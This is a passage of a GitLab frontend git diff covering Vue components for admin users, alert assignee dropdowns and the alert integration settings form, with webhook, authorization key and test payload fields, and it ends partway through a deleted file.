index 00000000000..21780ee9984
--- /dev/null
+++ b/app/assets/javascripts/admin/users/index.js
@@ -0,0 +1,22 @@
+import Vue from 'vue';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import AdminUsersApp from './components/app.vue';
+
+export default function(el = document.querySelector('#js-admin-users-app')) {
+ if (!el) {
+ return false;
+ }
+
+ const { users, paths } = el.dataset;
+
+ return new Vue({
+ el,
+ render: createElement =>
+ createElement(AdminUsersApp, {
+ props: {
+ users: convertObjectPropsToCamelCase(JSON.parse(users), { deep: true }),
+ paths: convertObjectPropsToCamelCase(JSON.parse(paths)),
+ },
+ }),
+ });
+}
diff --git a/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignee.vue b/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignee.vue
index df07038151e..c39a72a45b9 100644
--- a/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignee.vue
+++ b/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignee.vue
@@ -27,25 +27,12 @@ export default {
<gl-dropdown-item
:key="user.username"
data-testid="assigneeDropdownItem"
- class="assignee-dropdown-item gl-vertical-align-middle"
:active="active"
active-class="is-active"
+ :avatar-url="user.avatar_url"
+ :secondary-text="`@${user.username}`"
@click="$emit('update-alert-assignees', user.username)"
>
- <span class="gl-relative mr-2">
- <img
- :alt="user.username"
- :src="user.avatar_url"
- :width="32"
- class="avatar avatar-inline gl-m-0 s32"
- data-qa-selector="avatar_image"
- />
- </span>
- <span class="d-flex gl-flex-direction-column gl-overflow-hidden">
- <strong class="dropdown-menu-user-full-name">
- {{ user.name }}
- </strong>
- <span class="dropdown-menu-user-username"> {{ user.username }}</span>
- </span>
+ {{ user.name }}
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue b/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue
index 5e4fd56738b..3af68d42ddf 100644
--- a/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue
+++ b/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue
@@ -13,7 +13,7 @@ import {
} from '@gitlab/ui';
import { debounce } from 'lodash';
import axios from '~/lib/utils/axios_utils';
-import { s__ } from '~/locale';
+import { s__, __ } from '~/locale';
import alertSetAssignees from '../../graphql/mutations/alert_set_assignees.mutation.graphql';
import SidebarAssignee from './sidebar_assignee.vue';
@@ -96,7 +96,10 @@ export default {
.sort((a, b) => (a.active === b.active ? 0 : a.active ? -1 : 1)); // eslint-disable-line no-nested-ternary
},
dropdownClass() {
- return this.isDropdownShowing ? 'show' : 'gl-display-none';
+ return this.isDropdownShowing ? 'dropdown-menu-selectable show' : 'gl-display-none';
+ },
+ dropDownTitle() {
+ return this.userName ?? __('Select assignee');
},
userListValid() {
return !this.isDropdownSearching && this.users.length > 0;
@@ -217,81 +220,80 @@ export default {
</a>
</p>
- <div class="dropdown dropdown-menu-selectable" :class="dropdownClass">
- <gl-dropdown
- ref="dropdown"
- :text="userName"
- class="w-100"
- toggle-class="dropdown-menu-toggle"
- @keydown.esc.native="hideDropdown"
- @hide="hideDropdown"
- >
- <p class="gl-new-dropdown-header-top">
- {{ __('Assign To') }}
- </p>
- <gl-search-box-by-type v-model.trim="search" :placeholder="__('Search users')" />
- <div class="dropdown-content dropdown-body">
- <template v-if="userListValid">
- <gl-dropdown-item
- :active="!userName"
- active-class="is-active"
- @click="updateAlertAssignees('')"
- >
- {{ __('Unassigned') }}
- </gl-dropdown-item>
- <gl-dropdown-divider />
-
- <gl-dropdown-section-header>
- {{ __('Assignee') }}
- </gl-dropdown-section-header>
- <sidebar-assignee
- v-for="user in sortedUsers"
- :key="user.username"
- :user="user"
- :active="user.active"
- @update-alert-assignees="updateAlertAssignees"
- />
- </template>
- <p v-else-if="userListEmpty" class="mx-3 my-2">
- {{ __('No Matching Results') }}
- </p>
- <gl-loading-icon v-else />
- </div>
- </gl-dropdown>
- </div>
+ <gl-dropdown
+ ref="dropdown"
+ :text="dropDownTitle"
+ class="gl-w-full"
+ :class="dropdownClass"
+ toggle-class="dropdown-menu-toggle"
+ @keydown.esc.native="hideDropdown"
+ @hide="hideDropdown"
+ >
+ <p class="gl-new-dropdown-header-top">
+ {{ __('Assign To') }}
+ </p>
+ <gl-search-box-by-type v-model.trim="search" :placeholder="__('Search users')" />
+ <div class="dropdown-content dropdown-body">
+ <template v-if="userListValid">
+ <gl-dropdown-item
+ :active="!userName"
+ active-class="is-active"
+ @click="updateAlertAssignees('')"
+ >
+ {{ __('Unassigned') }}
+ </gl-dropdown-item>
+ <gl-dropdown-divider />
- <gl-loading-icon v-if="isUpdating" :inline="true" />
- <div v-else-if="!isDropdownShowing" class="value gl-m-0" :class="{ 'no-value': !userName }">
- <div v-if="userName" class="gl-display-inline-flex gl-mt-2" data-testid="assigned-users">
- <span class="gl-relative mr-2">
- <img
- :alt="userName"
- :src="userImg"
- :width="32"
- class="avatar avatar-inline gl-m-0 s32"
- data-qa-selector="avatar_image"
+ <gl-dropdown-section-header>
+ {{ __('Assignee') }}
+ </gl-dropdown-section-header>
+ <sidebar-assignee
+ v-for="user in sortedUsers"
+ :key="user.username"
+ :user="user"
+ :active="user.active"
+ @update-alert-assignees="updateAlertAssignees"
/>
- </span>
- <span class="gl-display-flex gl-flex-direction-column gl-overflow-hidden">
- <strong class="dropdown-menu-user-full-name">
- {{ userFullName }}
- </strong>
- <span class="dropdown-menu-user-username">{{ userName }}</span>
- </span>
+ </template>
+ <p v-else-if="userListEmpty" class="gl-mx-5 gl-my-4">
+ {{ __('No Matching Results') }}
+ </p>
+ <gl-loading-icon v-else />
</div>
- <span v-else class="gl-display-flex gl-align-items-center gl-line-height-normal">
- {{ __('None') }} -
- <gl-button
- class="gl-ml-2"
- href="#"
- variant="link"
- data-testid="unassigned-users"
- @click="updateAlertAssignees(currentUser)"
- >
- {{ __('assign yourself') }}
- </gl-button>
+ </gl-dropdown>
+ </div>
+
+ <gl-loading-icon v-if="isUpdating" :inline="true" />
+ <div v-else-if="!isDropdownShowing" class="value gl-m-0" :class="{ 'no-value': !userName }">
+ <div v-if="userName" class="gl-display-inline-flex gl-mt-2" data-testid="assigned-users">
+ <span class="gl-relative gl-mr-4">
+ <img
+ :alt="userName"
+ :src="userImg"
+ :width="32"
+ class="avatar avatar-inline gl-m-0 s32"
+ data-qa-selector="avatar_image"
+ />
+ </span>
+ <span class="gl-display-flex gl-flex-direction-column gl-overflow-hidden">
+ <strong class="dropdown-menu-user-full-name">
+ {{ userFullName }}
+ </strong>
+ <span class="dropdown-menu-user-username">@{{ userName }}</span>
</span>
</div>
+ <span v-else class="gl-display-flex gl-align-items-center gl-line-height-normal">
+ {{ __('None') }} -
+ <gl-button
+ class="gl-ml-2"
+ href="#"
+ variant="link"
+ data-testid="unassigned-users"
+ @click="updateAlertAssignees(currentUser)"
+ >
+ {{ __('assign yourself') }}
+ </gl-button>
+ </span>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue b/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue
index 12c0409629f..cf16750dbf8 100644
--- a/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue
+++ b/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue
@@ -11,7 +11,6 @@ import {
GlSprintf,
} from '@gitlab/ui';
import { s__, __ } from '~/locale';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import Tracking from '~/tracking';
import {
trackAlertIntegrationsViewsOptions,
@@ -54,7 +53,6 @@ export default {
GlTooltip: GlTooltipDirective,
GlModal: GlModalDirective,
},
- mixins: [glFeatureFlagsMixin()],
props: {
integrations: {
type: Array,
@@ -170,7 +168,7 @@ export default {
</template>
<template #cell(actions)="{ item }">
- <gl-button-group v-if="glFeatures.httpIntegrationsList" class="gl-ml-3">
+ <gl-button-group class="gl-ml-3">
<gl-button icon="pencil" @click="$emit('edit-integration', { id: item.id })" />
<gl-button
v-gl-modal.deleteIntegration
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue b/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue
new file mode 100644
index 00000000000..b2be563522a
--- /dev/null
+++ b/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue
@@ -0,0 +1,684 @@
+<script>
+import {
+ GlButton,
+ GlCollapse,
+ GlForm,
+ GlFormGroup,
+ GlFormSelect,
+ GlFormInput,
+ GlFormInputGroup,
+ GlFormTextarea,
+ GlModal,
+ GlModalDirective,
+ GlToggle,
+} from '@gitlab/ui';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import { s__ } from '~/locale';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import MappingBuilder from './alert_mapping_builder.vue';
+import AlertSettingsFormHelpBlock from './alert_settings_form_help_block.vue';
+import getCurrentIntegrationQuery from '../graphql/queries/get_current_integration.query.graphql';
+import service from '../services';
+import {
+ integrationTypesNew,
+ JSON_VALIDATE_DELAY,
+ targetPrometheusUrlPlaceholder,
+ targetOpsgenieUrlPlaceholder,
+ typeSet,
+ sectionHash,
+} from '../constants';
+// Mocks will be removed when integrating with BE is ready
+// data format is defined and will be the same as mocked (maybe with some minor changes)
+// feature rollout plan - https://gitlab.com/gitlab-org/gitlab/-/issues/262707#note_442529171
+import mockedCustomMapping from './mocks/parsedMapping.json';
+
+export const i18n = {
+ integrationFormSteps: {
+ step1: {
+ label: s__('AlertSettings|1. Select integration type'),
+ enterprise: s__(
+ 'AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations.',
+ ),
+ },
+ step2: {
+ label: s__('AlertSettings|2. Name integration'),
+ placeholder: s__('AlertSettings|Enter integration name'),
+ prometheus: s__('AlertSettings|Prometheus'),
+ },
+ step3: {
+ label: s__('AlertSettings|3. Set up webhook'),
+ help: s__(
+ "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint.",
+ ),
+ prometheusHelp: s__(
+ 'AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint.',
+ ),
+ info: s__('AlertSettings|Authorization key'),
+ reset: s__('AlertSettings|Reset Key'),
+ },
+ step4: {
+ label: s__('AlertSettings|4. Sample alert payload (optional)'),
+ help: s__(
+ 'AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional).',
+ ),
+ prometheusHelp: s__(
+ 'AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional).',
+ ),
+ placeholder: s__('AlertSettings|{ "events": [{ "application": "Name of application" }] }'),
+ resetHeader: s__('AlertSettings|Reset the mapping'),
+ resetBody: s__(
+ "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields.",
+ ),
+ resetOk: s__('AlertSettings|Proceed with editing'),
+ editPayload: s__('AlertSettings|Edit payload'),
+ submitPayload: s__('AlertSettings|Submit payload'),
+ payloadParsedSucessMsg: s__(
+ 'AlertSettings|Sample payload has been parsed. You can now map the fields.',
+ ),
+ },
+ step5: {
+ label: s__('AlertSettings|5. Map fields (optional)'),
+ intro: s__(
+ "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key.",
+ ),
+ },
+ prometheusFormUrl: {
+ label: s__('AlertSettings|Prometheus API base URL'),
+ help: s__('AlertSettings|URL cannot be blank and must start with http or https'),
+ },
+ restKeyInfo: {
+ label: s__(
+ 'AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in.',
+ ),
+ },
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ opsgenie: {
+ label: s__('AlertSettings|2. Add link to your Opsgenie alert list'),
+ info: s__(
+ 'AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature.',
+ ),
+ },
+ },
+};
+
+export default {
+ placeholders: {
+ prometheus: targetPrometheusUrlPlaceholder,
+ opsgenie: targetOpsgenieUrlPlaceholder,
+ },
+ JSON_VALIDATE_DELAY,
+ typeSet,
+ i18n,
+ components: {
+ ClipboardButton,
+ GlButton,
+ GlCollapse,
+ GlForm,
+ GlFormGroup,
+ GlFormInput,
+ GlFormInputGroup,
+ GlFormTextarea,
+ GlFormSelect,
+ GlModal,
+ GlToggle,
+ AlertSettingsFormHelpBlock,
+ MappingBuilder,
+ },
+ directives: {
+ GlModal: GlModalDirective,
+ },
+ inject: {
+ generic: {
+ default: {},
+ },
+ prometheus: {
+ default: {},
+ },
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ opsgenie: {
+ default: {},
+ },
+ },
+ mixins: [glFeatureFlagsMixin()],
+ props: {
+ loading: {
+ type: Boolean,
+ required: true,
+ },
+ canAddIntegration: {
+ type: Boolean,
+ required: true,
+ },
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ canManageOpsgenie: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ apollo: {
+ currentIntegration: {
+ query: getCurrentIntegrationQuery,
+ },
+ },
+ data() {
+ return {
+ selectedIntegration: integrationTypesNew[0].value,
+ active: false,
+ formVisible: false,
+ integrationTestPayload: {
+ json: null,
+ error: null,
+ },
+ resetSamplePayloadConfirmed: false,
+ customMapping: null,
+ parsingPayload: false,
+ currentIntegration: null,
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ isManagingOpsgenie: false,
+ };
+ },
+ computed: {
+ isPrometheus() {
+ return this.selectedIntegration === this.$options.typeSet.prometheus;
+ },
+ jsonIsValid() {
+ return this.integrationTestPayload.error === null;
+ },
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ disabledIntegrations() {
+ const options = [];
+ if (this.opsgenie.active) {
+ options.push(typeSet.http, typeSet.prometheus);
+ } else if (!this.canManageOpsgenie) {
+ options.push(typeSet.opsgenie);
+ }
+
+ return options;
+ },
+ options() {
+ return integrationTypesNew.map(el => ({
+ ...el,
+ disabled: this.disabledIntegrations.includes(el.value),
+ }));
+ },
+ selectedIntegrationType() {
+ switch (this.selectedIntegration) {
+ case typeSet.http:
+ return this.generic;
+ case typeSet.prometheus:
+ return this.prometheus;
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ case typeSet.opsgenie:
+ return this.opsgenie;
+ default:
+ return {};
+ }
+ },
+ integrationForm() {
+ return {
+ name: this.currentIntegration?.name || '',
+ active: this.currentIntegration?.active || false,
+ token:
+ this.currentIntegration?.token ||
+ (this.selectedIntegrationType !== this.generic ? this.selectedIntegrationType.token : ''),
+ url:
+ this.currentIntegration?.url ||
+ (this.selectedIntegrationType !== this.generic ? this.selectedIntegrationType.url : ''),
+ apiUrl: this.currentIntegration?.apiUrl || '',
+ };
+ },
+ testAlertPayload() {
+ return {
+ data: this.integrationTestPayload.json,
+ endpoint: this.integrationForm.url,
+ token: this.integrationForm.token,
+ };
+ },
+ showMappingBuilder() {
+ return (
+ this.glFeatures.multipleHttpIntegrationsCustomMapping &&
+ this.selectedIntegration === typeSet.http
+ );
+ },
+ mappingBuilderFields() {
+ return this.customMapping?.samplePayload?.payloadAlerFields?.nodes;
+ },
+ mappingBuilderMapping() {
+ return this.customMapping?.storedMapping?.nodes;
+ },
+ hasSamplePayload() {
+ return Boolean(this.customMapping?.samplePayload);
+ },
+ canEditPayload() {
+ return this.hasSamplePayload && !this.resetSamplePayloadConfirmed;
+ },
+ isResetAuthKeyDisabled() {
+ return !this.active && !this.integrationForm.token !== '';
+ },
+ isPayloadEditDisabled() {
+ return this.glFeatures.multipleHttpIntegrationsCustomMapping
+ ? !this.active || this.canEditPayload
+ : !this.active;
+ },
+ isSubmitTestPayloadDisabled() {
+ return (
+ !this.active ||
+ Boolean(this.integrationTestPayload.error) ||
+ this.integrationTestPayload.json === ''
+ );
+ },
+ isSelectDisabled() {
+ return this.currentIntegration !== null || !this.canAddIntegration;
+ },
+ },
+ watch: {
+ currentIntegration(val) {
+ if (val === null) {
+ return this.reset();
+ }
+ this.selectedIntegration = val.type;
+ this.active = val.active;
+ if (val.type === typeSet.http && this.showMappingBuilder) this.getIntegrationMapping(val.id);
+ return this.integrationTypeSelect();
+ },
+ },
+ methods: {
+ integrationTypeSelect() {
+ if (this.selectedIntegration === integrationTypesNew[0].value) {
+ this.formVisible = false;
+ } else {
+ this.formVisible = true;
+ }
+
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ if (this.canManageOpsgenie && this.selectedIntegration === typeSet.opsgenie) {
+ this.isManagingOpsgenie = true;
+ this.active = this.opsgenie.active;
+ this.integrationForm.apiUrl = this.opsgenie.opsgenieMvcTargetUrl;
+ } else {
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ this.isManagingOpsgenie = false;
+ }
+ },
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ submitWithOpsgenie() {
+ return service
+ .updateGenericActive({
+ endpoint: this.opsgenie.formPath,
+ params: {
+ service: {
+ opsgenie_mvc_target_url: this.integrationForm.apiUrl,
+ opsgenie_mvc_enabled: this.active,
+ },
+ },
+ })
+ .then(() => {
+ window.location.hash = sectionHash;
+ window.location.reload();
+ });
+ },
+ submitWithTestPayload() {
+ this.$emit('set-test-alert-payload', this.testAlertPayload);
+ this.submit();
+ },
+ submit() {
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ if (this.isManagingOpsgenie) {
+ return this.submitWithOpsgenie();
+ }
+
+ const { name, apiUrl } = this.integrationForm;
+ const variables =
+ this.selectedIntegration === typeSet.http
+ ? { name, active: this.active }
+ : { apiUrl, active: this.active };
+ const integrationPayload = { type: this.selectedIntegration, variables };
+
+ if (this.currentIntegration) {
+ return this.$emit('update-integration', integrationPayload);
+ }
+
+ this.reset();
+ return this.$emit('create-new-integration', integrationPayload);
+ },
+ reset() {
+ this.selectedIntegration = integrationTypesNew[0].value;
+ this.integrationTypeSelect();
+
+ if (this.currentIntegration) {
+ return this.$emit('clear-current-integration');
+ }
+
+ return this.resetFormValues();
+ },
+ resetFormValues() {
+ this.integrationForm.name = '';
+ this.integrationForm.apiUrl = '';
+ this.integrationTestPayload = {
+ json: null,
+ error: null,
+ };
+ this.active = false;
+
+ // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
+ this.isManagingOpsgenie = false;
+ },
+ resetAuthKey() {
+ if (!this.currentIntegration) {
+ return;
+ }
+
+ this.$emit('reset-token', {
+ type: this.selectedIntegration,
+ variables: { id: this.currentIntegration.id },
+ });
+ },
+ validateJson() {
+ this.integrationTestPayload.error = null;
+ if (this.integrationTestPayload.json === '') {
+ return;
+ }
+
+ try {
+ JSON.parse(this.integrationTestPayload.json);
+ } catch (e) {
+ this.integrationTestPayload.error = JSON.stringify(e.message);
+ }
+ },
+ parseMapping() {
+ // TODO: replace with real BE mutation when ready;
+ this.parsingPayload = true;
+
+ return new Promise(resolve => {
+ setTimeout(() => resolve(mockedCustomMapping), 1000);
+ })
+ .then(res => {
+ const mapping = { ...res };
+ delete mapping.storedMapping;
+ this.customMapping = res;
+ this.integrationTestPayload.json = res?.samplePayload.body;
+ this.resetSamplePayloadConfirmed = false;
+
+ this.$toast.show(this.$options.i18n.integrationFormSteps.step4.payloadParsedSucessMsg);
+ })
+ .finally(() => {
+ this.parsingPayload = false;
+ });
+ },
+ getIntegrationMapping() {
+ // TODO: replace with real BE mutation when ready;
+ return Promise.resolve(mockedCustomMapping).then(res => {
+ this.customMapping = res;
+ this.integrationTestPayload.json = res?.samplePayload.body;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-form class="gl-mt-6" @submit.prevent="submit" @reset.prevent="reset">
+ <h5 class="gl-font-lg gl-my-5">{{ s__('AlertSettings|Add new integrations') }}</h5>
+ <gl-form-group
+ id="integration-type"
+ :label="$options.i18n.integrationFormSteps.step1.label"
+ label-for="integration-type"
+ >
+ <gl-form-select
+ v-model="selectedIntegration"
+ :disabled="isSelectDisabled"
+ :class="{ 'gl-bg-gray-100!': isSelectDisabled }"
+ :options="options"
+ @change="integrationTypeSelect"
+ />
+
+ <div v-if="!canAddIntegration" class="gl-my-4" data-testid="multi-integrations-not-supported">
+ <alert-settings-form-help-block
+ :message="$options.i18n.integrationFormSteps.step1.enterprise"
+ link="https://about.gitlab.com/pricing"
+ />
+ </div>
+ </gl-form-group>
+ <gl-collapse v-model="formVisible" class="gl-mt-3">
+ <!-- TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657 -->
+ <div v-if="isManagingOpsgenie">
+ <gl-form-group
+ id="integration-webhook"
+ :label="$options.i18n.integrationFormSteps.opsgenie.label"
+ label-for="integration-webhook"
+ >
+ <span class="gl-my-4">
+ {{ $options.i18n.integrationFormSteps.opsgenie.info }}
+ </span>
+
+ <gl-toggle
+ v-model="active"
+ :is-loading="loading"
+ :label="__('Active')"
+ class="gl-my-4 gl-font-weight-normal"
+ />
+
+ <gl-form-input
+ id="opsgenie-opsgenieMvcTargetUrl"
+ v-model="integrationForm.apiUrl"
+ type="text"
+ :placeholder="$options.placeholders.opsgenie"
+ />
+
+ <span class="gl-text-gray-400 gl-my-1">
+ {{ $options.i18n.integrationFormSteps.prometheusFormUrl.help }}
+ </span>
+ </gl-form-group>
+ </div>
+ <div v-else>
+ <gl-form-group
+ id="name-integration"
+ :label="$options.i18n.integrationFormSteps.step2.label"
+ label-for="name-integration"
+ >
+ <gl-form-input
+ v-model="integrationForm.name"
+ :disabled="isPrometheus"
+ type="text"
+ :placeholder="
+ isPrometheus
+ ? $options.i18n.integrationFormSteps.step2.prometheus
+ : $options.i18n.integrationFormSteps.step2.placeholder
+ "
+ />
+ </gl-form-group>
+ <gl-form-group
+ id="integration-webhook"
+ :label="$options.i18n.integrationFormSteps.step3.label"
+ label-for="integration-webhook"
+ >
+ <alert-settings-form-help-block
+ :message="
+ isPrometheus
+ ? $options.i18n.integrationFormSteps.step3.prometheusHelp
+ : $options.i18n.integrationFormSteps.step3.help
+ "
+ link="https://docs.gitlab.com/ee/operations/incident_management/alert_integrations.html"
+ />
+
+ <gl-toggle
+ v-model="active"
+ :is-loading="loading"
+ :label="__('Active')"
+ class="gl-my-4 gl-font-weight-normal"
+ />
+
+ <div v-if="isPrometheus" class="gl-my-4">
+ <span class="gl-font-weight-bold">
+ {{ $options.i18n.integrationFormSteps.prometheusFormUrl.label }}
+ </span>
+
+ <gl-form-input
+ id="integration-apiUrl"
+ v-model="integrationForm.apiUrl"
+ type="text"
+ :placeholder="$options.placeholders.prometheus"
+ />
+
+ <span class="gl-text-gray-400">
+ {{ $options.i18n.integrationFormSteps.prometheusFormUrl.help }}
+ </span>
+ </div>
+
+ <div class="gl-my-4">
+ <span class="gl-font-weight-bold">
+ {{ s__('AlertSettings|Webhook URL') }}
+ </span>
+
+ <gl-form-input-group id="url" readonly :value="integrationForm.url">
+ <template #append>
+ <clipboard-button
+ :text="integrationForm.url || ''"
+ :title="__('Copy')"
+ class="gl-m-0!"
+ />
+ </template>
+ </gl-form-input-group>
+ </div>
+
+ <div class="gl-my-4">
+ <span class="gl-font-weight-bold">
+ {{ $options.i18n.integrationFormSteps.step3.info }}
+ </span>
+
+ <gl-form-input-group
+ id="authorization-key"
+ class="gl-mb-3"
+ readonly
+ :value="integrationForm.token"
+ >
+ <template #append>
+ <clipboard-button
+ :text="integrationForm.token || ''"
+ :title="__('Copy')"
+ class="gl-m-0!"
+ />
+ </template>
+ </gl-form-input-group>
+
+ <gl-button v-gl-modal.authKeyModal :disabled="isResetAuthKeyDisabled">
+ {{ $options.i18n.integrationFormSteps.step3.reset }}
+ </gl-button>
+ <gl-modal
+ modal-id="authKeyModal"
+ :title="$options.i18n.integrationFormSteps.step3.reset"
+ :ok-title="$options.i18n.integrationFormSteps.step3.reset"
+ ok-variant="danger"
+ @ok="resetAuthKey"
+ >
+ {{ $options.i18n.integrationFormSteps.restKeyInfo.label }}
+ </gl-modal>
+ </div>
+ </gl-form-group>
+
+ <gl-form-group
+ id="test-integration"
+ :label="$options.i18n.integrationFormSteps.step4.label"
+ label-for="test-integration"
+ :class="{ 'gl-mb-0!': showMappingBuilder }"
+ :invalid-feedback="integrationTestPayload.error"
+ >
+ <alert-settings-form-help-block
+ :message="
+ isPrometheus || !showMappingBuilder
+ ? $options.i18n.integrationFormSteps.step4.prometheusHelp
+ : $options.i18n.integrationFormSteps.step4.help
+ "
+ :link="generic.alertsUsageUrl"
+ />
+
+ <gl-form-textarea
+ id="test-payload"
+ v-model.trim="integrationTestPayload.json"
+ :disabled="isPayloadEditDisabled"
+ :state="jsonIsValid"
+ :placeholder="$options.i18n.integrationFormSteps.step4.placeholder"
+ class="gl-my-3"
+ :debounce="$options.JSON_VALIDATE_DELAY"
+ rows="6"
+ max-rows="10"
+ @input="validateJson"
+ />
+ </gl-form-group>
+
+ <template v-if="showMappingBuilder">
+ <gl-button
+ v-if="canEditPayload"
+ v-gl-modal.resetPayloadModal
+ data-testid="payload-action-btn"
+ :disabled="!active"
+ class="gl-mt-3"
+ >
+ {{ $options.i18n.integrationFormSteps.step4.editPayload }}
+ </gl-button>
+
+ <gl-button
+ v-else
+ data-testid="payload-action-btn"
+ :class="{ 'gl-mt-3': integrationTestPayload.error }"
+ :disabled="!active"
+ :loading="parsingPayload"
+ @click="parseMapping"
+ >
+ {{ $options.i18n.integrationFormSteps.step4.submitPayload }}
+ </gl-button>
+ <gl-modal
+ modal-id="resetPayloadModal"
+ :title="$options.i18n.integrationFormSteps.step4.resetHeader"
+ :ok-title="$options.i18n.integrationFormSteps.step4.resetOk"
+ ok-variant="danger"
+ @ok="resetSamplePayloadConfirmed = true"
+ >
+ {{ $options.i18n.integrationFormSteps.step4.resetBody }}
+ </gl-modal>
+ </template>
+
+ <gl-form-group
+ v-if="showMappingBuilder"
+ id="mapping-builder"
+ class="gl-mt-5"
+ :label="$options.i18n.integrationFormSteps.step5.label"
+ label-for="mapping-builder"
+ >
+ <span>{{ $options.i18n.integrationFormSteps.step5.intro }}</span>
+ <mapping-builder
+ :payload-fields="mappingBuilderFields"
+ :mapping="mappingBuilderMapping"
+ />
+ </gl-form-group>
+ </div>
+ <div class="gl-display-flex gl-justify-content-start gl-py-3">
+ <gl-button
+ type="submit"
+ variant="success"
+ class="js-no-auto-disable"
+ data-testid="integration-form-submit"
+ >{{ s__('AlertSettings|Save integration') }}
+ </gl-button>
+ <!-- TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657 -->
+ <gl-button
+ v-if="!isManagingOpsgenie"
+ data-testid="integration-test-and-submit"
+ :disabled="isSubmitTestPayloadDisabled"
+ category="secondary"
+ variant="success"
+ class="gl-mx-3 js-no-auto-disable"
+ @click="submitWithTestPayload"
+ >{{ s__('AlertSettings|Save and test payload') }}</gl-button
+ >
+ <gl-button
+ type="reset"
+ class="js-no-auto-disable"
+ :class="{ 'gl-ml-3': isManagingOpsgenie }"
+ >{{ __('Cancel') }}</gl-button
+ >
+ </div>
+ </gl-collapse>
+ </gl-form>
+</template>
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_settings_form_new.vue b/app/assets/javascripts/alerts_settings/components/alerts_settings_form_new.vue
deleted file mode 100644
index 3656fc4d7ec..00000000000
--- a/app/assets/javascripts/alerts_settings/components/alerts_settings_form_new.vue
+++ /dev/null
@@ -1,661 +0,0 @@
-<script>
-import {
- GlButton,
- GlCollapse,
- GlForm,
- GlFormGroup,
- GlFormSelect,
- GlFormInput,
- GlFormInputGroup,
- GlFormTextarea,
- GlModal,
- GlModalDirective,
- GlToggle,
-} from '@gitlab/ui';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { s__ } from '~/locale';
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
-import MappingBuilder from './alert_mapping_builder.vue';
-import AlertSettingsFormHelpBlock from './alert_settings_form_help_block.vue';
-import getCurrentIntegrationQuery from '../graphql/queries/get_current_integration.query.graphql';
-import service from '../services';
-import {
- integrationTypesNew,
- JSON_VALIDATE_DELAY,
- targetPrometheusUrlPlaceholder,
- targetOpsgenieUrlPlaceholder,
- typeSet,
- sectionHash,
-} from '../constants';
-// Mocks will be removed when integrating with BE is ready
-// data format is defined and will be the same as mocked (maybe with some minor changes)
-// feature rollout plan - https://gitlab.com/gitlab-org/gitlab/-/issues/262707#note_442529171
-import mockedCustomMapping from './mocks/parsedMapping.json';
-
-export default {
- placeholders: {
- prometheus: targetPrometheusUrlPlaceholder,
- opsgenie: targetOpsgenieUrlPlaceholder,
- },
- JSON_VALIDATE_DELAY,
- typeSet,
- i18n: {
- integrationFormSteps: {
- step1: {
- label: s__('AlertSettings|1. Select integration type'),
- enterprise: s__(
